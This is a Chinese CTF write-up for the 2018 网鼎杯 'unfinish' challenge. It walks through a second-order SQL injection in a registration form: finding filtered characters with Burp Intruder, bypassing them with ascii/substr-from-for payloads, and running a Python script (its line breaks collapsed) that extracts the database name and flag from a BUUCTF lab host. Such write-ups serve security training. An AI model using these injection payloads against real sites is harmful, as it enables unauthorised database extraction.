网鼎杯-2018-unfinish解题方法

BUUCTF在线评测这里可以解题无需搭建

进入这题后我们会得到这样一个界面

这里我们会发现登录不进去也没有注册界面以及源码,这里我们需要获取它其他的一些界面找注入机会,这里有两种方式找其他界面,一种是猜这里是登录界面那么必定就会有注册界面一般注册界面的名字无非就是reg.php,register.php这是register.php界面当然这种就是靠运气和我们的经验了。第二种是用扫描器去扫,但是这种方式在比赛里通常是不允许的,

 这里我们先随便注册一个用户登录一下

 

登录进去后我们发现只有用户名是可见的,所以我们尝试在用户名进行注入

 这里我们发现注册不了所以可以推断出这里有限制字符所以我们使用burp suite来测出它的限制字符

这里将包发送到intruder中

在username中添加payload的插入点

使用字典来测出限制字符

这里你也可以自己写字典或者从GitHub上找

这里测试出限制了,和information

限制了information和,所以这里我们采用select ’0‘+text+‘0’的语句注入

在mysql中+只是一个运算符所以我们可以用此方式来获取数据库的ascii码值当然这里也可以使用16进制的方式但要注意的一点是如果hex值过长需要进行截断以及如过算出的hex值是字符会被截断因此需要两次16进制转化。

,的问题我们通过from for的方式来替换

 

然后就可以进行注入了

这里我使用一个python脚本进行注入

import requests
import time
from bs4 import BeautifulSoup  # html解析器
# 这是是一个框架,如果你没有下载的话需要下载,是一个爬虫的框架用于精准获取页面的各个数据
# pip install BeautifulSoup(如果你是python3的话则是BeautifulSoup4)# 这里是注入出库名,一般库名都是在10个字节以内如果数据库超过10字节则更改循环的次数
def getDatabase():database = ''# 定义一个变量来记录库名for i in range(10):data_database = {'username': "0'+ascii(substr((select database()) from " + str(i + 1) + " for 1))+'0",# 这里是注入语句'password': 'admin',"email": "admin11@admin.com" + str(i)}# 注册requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/register.php", data_database)# 通过requests.post函数来访问并将data_database的数据放入login_data = {# 这里是登录'password': 'admin',"email": "admin11@admin.com" + str(i)}response = requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/login.php", login_data)html = response.text  # 返回的页面soup = BeautifulSoup(html, 'html.parser')# 获取界面的各个数据getUsername = soup.find_all('span')[0]  # 获取用户名如果界面内有多个span则以更改后面的数字来获取,从0开始username = getUsername.textif int(username) == 0:breakdatabase += chr(int(username))return database# 获取flag
def getFlag():flag = ''for i in range(60):# 这里也是猜测flag的值是在60为以内,如果超了需要更改data_flag = {'username': "0'+ascii(substr((select * from flag) from " + str(i + 1) + " for 1))+'0",'password': 'admin',"email": "admin32@admin.com" + str(i)}# 注册requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/register.php", data_flag)login_data = {'password': 'admin',"email": "admin32@admin.com" + str(i)}response = requests.post("http://eea1d6c0-754b-4d0d-93ab-46724eb66608.node5.buuoj.cn:81/login.php", login_data)html = response.text  # 返回的页面soup = BeautifulSoup(html, 'html.parser')getUsername = soup.find_all('span')[0]  # 获取用户名username = getUsername.textif int(username) == 0:breakflag += chr(int(username))return flagprint(getDatabase())
print(getFlag())

 这里我只注入出了数据库名和flag没有对其他表名进行注入因为会很麻烦其次一般比赛通常也是放着flag中的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/4201.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络安全新挑战:通用人工智能(AGI)等级保护指南

通用人工智能(AGI)的发展现状及趋势 随着2023年大语言模型应用的划时代突破,以ChatGPT为杰出代表的此类技术犹如一股洪流,彻底颠覆了人类与机器智能交互的疆界,引领通用人工智能(AGI)步入一个崭…

[SWPUCTF-2022-新生赛]ez_sql

title:[SWPUCTF 2022 新生赛]ez_sql 审题 根据提示,POST传参 得到假的flag 判断类型 字符型注入 判断列数 发现空格和’or’被过滤 重新构造 nss-1/**/oorrder/**/by/**/4#发现为3个字段 采用联合注入union 爆库 发现union被过滤,双写union绕过 发…

【小迪安全2023】第58天:服务攻防-应用协议设备KibanaZabbix远控向日葵VNCTV

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 🎉点赞➕评论➕收…

腾讯云邮件推送如何设置?群发邮件的技巧?

腾讯云邮件推送功能有哪些?怎么有效使用邮件推送? 腾讯云邮件推送以其稳定、高效的特点,受到了众多企业的青睐。那么,腾讯云邮件推送如何设置呢?又有哪些群发邮件的技巧呢?下面AokSend就来详细探讨一下。 …

C++ ─── 匿名对象+变量的创建顺序

目录 1. 匿名对象(临时对象) 2. 编译器的优化 3.变量的创建与销毁 1. 匿名对象(临时对象) 我们先来看有名对象的创建 Date d1; Date d2(2024,4,27);匿名对象的创建 Date(2024,56,1); 生成了一个匿名对象,执行完Da…

photoshop如何使用PS中的吸管工具吸取软件外部的颜色?

第一步,打开PS,随意新建一个画布,或打开一个图片。 第二步,将PS窗口缩小,和外部窗口叠加放置,以露出后面的其它页面。 第三步,选中吸管工具,在PS窗口内单击一点吸取颜色,…

1、Flink DataStreamAPI 概述(上)

一、DataStream API 1、概述 1)Flink程序剖析 1.Flink程序组成 a)Flink程序基本组成 获取一个执行环境(execution environment);加载/创建初始数据;指定数据相关的转换;指定计算结果的存储…

SpringBoot 缓存

个人简介:Java领域新星创作者;阿里云技术博主、星级博主、专家博主;正在Java学习的路上摸爬滚打,记录学习的过程~ 个人主页:.29.的博客 学习社区:进去逛一逛~ 目录 一、缓存的作用二、SpringBoot启用缓存三…

STM32单片机通过ST-Link 烧录和调试

系列文章目录 STM32单片机系列专栏 C语言术语和结构总结专栏 文章目录 1. ST-LINK V2 2. 操作步骤 2.1 连接方式 2.2 驱动安装常规步骤 2.3 Keil中的设置 3. 调式仿真 4. 常见问题排查 1. ST-LINK V2 ST LINK v2下载器用于STM32单片机,可以下载程序、调试…

c++并查集

文章目录 前言一、并查集1、并查集原理2、并查集实现3、并查集应用1.省份数量2.等式方程的可满足性 前言 一、并查集 1、并查集原理 在一些应用问题中,需要将n个不同的元素划分成一些不相交的集合。开始时,每个元素自成一个单元素集合,然后…

nvm基本使用

nvm基本使用 文章目录 nvm基本使用1.基本介绍2.下载地址3.常用指令 1.基本介绍 NVM是一个用于管理 Node.js 版本的工具。它允许您在同一台计算机上同时安装和管理多个 Node.js 版本,针对于不同的项目可能需要不同版本的 Node.js 运行环境。 NVM 主要功能&#xff…

24深圳杯AC题完整思路+可执行代码+参考论文!!!!

比赛题目的完整版思路可执行代码数据参考论文都会在第一时间更新上传的,大家可以参考我往期的资料,所有的资料数据以及到最后更新的参考论文都是一次付费后续免费的。注意:(建议先下单占坑,因为随着后续我们更新资料数…

Windows10系统安装IIS的步骤

在Windows 10上安装IIS的步骤如下:12 打开控制面板,选择“程序”或“程序和功能”。点击“启用或关闭Windows功能”。在列表中找到“Internet Information Services”,勾选该选项。根据需要勾选IIS的具体组件,如万维网服务、IIS可…

创新指南 | 2024年企业如何十步打造最佳的数字化营销策略组合

营销是一个动态且不断变化的领域。顶级的数字营销策略随着消费者和技术趋势的变化而变化。这就是为什么每个公司都需要一个经过良好规划并具有明确里程碑和目标的营销策略。一旦你有了正确的计划,你实现为业务设定的目标的可能性就会大大增加。这意味着,…

面试经典150题——求根节点到叶节点数字之和

​ 1. 题目描述 2. 题目分析与解析 2.1 思路一——DFS 理解问题: 首先要理解题目的要求,即对于给定的二叉树,我们需要找出从根节点到所有叶子节点的所有路径,然后将每一条路径上的数字组成一个整数,最后求出这些整数…

手把手教数据结构与算法:栈的应用(平衡符号和简单计算器)

栈 基本概念 栈的定义 栈(Stack):是只允许在一端进行插入或删除的线性表。首先栈是一种线性表,但限定这种线性表只能在某一端进行插入和删除操作。 栈顶(Top):线性表允许进行插入删除的那一端…

Docker常用命令(镜像、容器)

一、镜像 1.1 存出镜像 1.2 载入镜像 1.3 上传镜像 二、容器 2.1 容器创建 2.2 查看容器的运行状态 ​2.3 启动容器 2.4 创建并启动容器 2.5 在后台持续运行 docker run 创建的容器 2.6 终止容器运行 2.7 容器的进入 ​2.8把宿主机的文件传入到容器内部 2.9 从容器…

debian gnome-desktop GUI(图形用户界面)系统

目录 🌞更新 🎨安装 🍎分配 🛋️重启 🔑通过VNC连接 debian gnome-desktop 🌞更新 sudo apt update sudo apt -y upgrade 🎨安装 sudo apt -y install task-gnome-desktop 这个过程比…

pytest-asyncio:协程异步测试案例

简介:pytest-asyncio是一个pytest插件。它便于测试使用异步库的代码。具体来说,pytest-asyncio提供了对作为测试函数的协同程序的支持。这允许用户在测试中等待代码。 历史攻略: asyncio并发访问websocket Python:协程 - 快速创…

ROS1快速入门学习笔记 - 06订阅者Subscriber的实现

一、话题模型(发布/订阅) 二、 实现步骤 与发布者步骤类似,我们将发布者的对应代码写入功能包的src文件中。 1. C程序代码 /*********************************************************************** Copyright 2020 GuYueHome (www.guyu…